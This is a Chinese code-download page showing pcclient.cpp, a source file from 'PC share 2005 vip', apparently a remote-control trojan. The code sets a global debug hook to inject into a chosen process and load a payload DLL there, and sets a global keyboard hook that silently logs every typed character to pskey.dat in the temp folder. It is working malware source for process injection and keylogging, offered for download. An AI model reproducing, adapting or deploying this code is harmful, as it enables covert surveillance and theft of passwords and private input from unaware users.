⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pcclient.cpp

📁 PC share 2005 vip源代码
💻 CPP
字号:

#include "stdafx.h"
#include "SshWork.h"

#pragma data_seg("Shared")
char   m_CharFileName[256] = {0};
HHOOK  g_hook = NULL;
HHOOK  g_khook = NULL;
INITDLLINFO m_InitInfo = {0};
BOOL m_IsOk = FALSE;	
#pragma data_seg()
#pragma comment(linker,"/section:Shared,rws")

HINSTANCE ghInstance = NULL;
SshWork   m_Work;

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
		case DLL_PROCESS_ATTACH:
			ghInstance = (HINSTANCE) hModule;
			break;
		default : break;
    }
    return TRUE;
}

LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) 
{
	LRESULT lResult = CallNextHookEx(g_hook, nCode, wParam, lParam);

	//查看是否为指定进程
	if(!m_IsOk && m_InitInfo.m_ProcessId == GetCurrentProcessId())
	{
		//找到指定进程取消hook
		m_IsOk = TRUE;
		if(g_hook) UnhookWindowsHookEx(g_hook);

		//通知主进程退出
		HANDLE m_WaitEvent = 
			OpenEvent(EVENT_ALL_ACCESS,FALSE,
			m_InitInfo.m_EventName);
		if(m_WaitEvent)	
		{
			SetEvent(m_WaitEvent);
			CloseHandle(m_WaitEvent);
		}
		
		Sleep(1000);

		//装载DLL到进程
		m_Work.m_Module = LoadLibrary(m_InitInfo.m_StartFile);
		if(m_Work.m_Module) 
		{
			m_Work.StartWork(&m_InitInfo);
		}
	}
	return lResult;
}

BOOL PlayWork(LPINITDLLINFO pInitInfo)
{
	//拷贝数据
	memcpy(&m_InitInfo,pInitInfo,sizeof(INITDLLINFO));

	//自进程启动
	if(pInitInfo->m_ProcessName[0] == 2)
	{
		m_Work.StartWork(&m_InitInfo);
		return TRUE;
	}

	//检查是否已经启动
	if(g_hook != NULL) return FALSE;

	//启动HOOK
	g_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0);
	return (g_hook != NULL);
}

void WriteChar(char* sText)
{
	//加锁
	HANDLE hMetux = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "PsKey400");
	if(hMetux != NULL) 
		WaitForSingleObject(hMetux, 300);

	FILE* fp = fopen(m_CharFileName,"ab");
	if(fp != NULL)
	{
		fwrite(sText,strlen(sText),1,fp);
		fclose(fp);
	}

	//取锁
	if(hMetux != NULL) 
	{
		ReleaseMutex(hMetux);
		CloseHandle(hMetux);
	}
}

LRESULT WINAPI GetKeyMsgProc(int nCode, WPARAM wParam, LPARAM lParam) 
{
	LRESULT lResult = CallNextHookEx(g_khook, nCode, wParam, lParam);
	char key[10] = {0};
	BYTE buffer[256] = {0};
	WORD m_wchar = 0; 
	UINT m_scan = 0;
    if ((lParam & 0x40000000) && (nCode == HC_ACTION))
	{
		if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>= 0x2f ) &&(wParam<= 0x100))
		{
			if (wParam == VK_RETURN)
			{
				WriteChar("\r\n");
  			}
   			else
			{
    			GetKeyboardState(buffer);
    			m_scan = 0;
				ToAscii(wParam,m_scan,buffer , &m_wchar,0);
				key[0] = m_wchar%255;
				if(key[0] >= 32 && key[0] <= 126)
					WriteChar(key);
			}
  		}
	}
	return lResult;
}

BOOL KeyStartMyWork()
{
	if(g_khook != NULL) return FALSE;
	GetTempPath(200,m_CharFileName);
	strcat(m_CharFileName,"pskey.dat");
	g_khook = SetWindowsHookEx(WH_KEYBOARD,GetKeyMsgProc,ghInstance,0);
	return (g_khook != NULL);
}

void KeyStopMyWork()
{
	if(g_khook != NULL) UnhookWindowsHookEx(g_khook);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -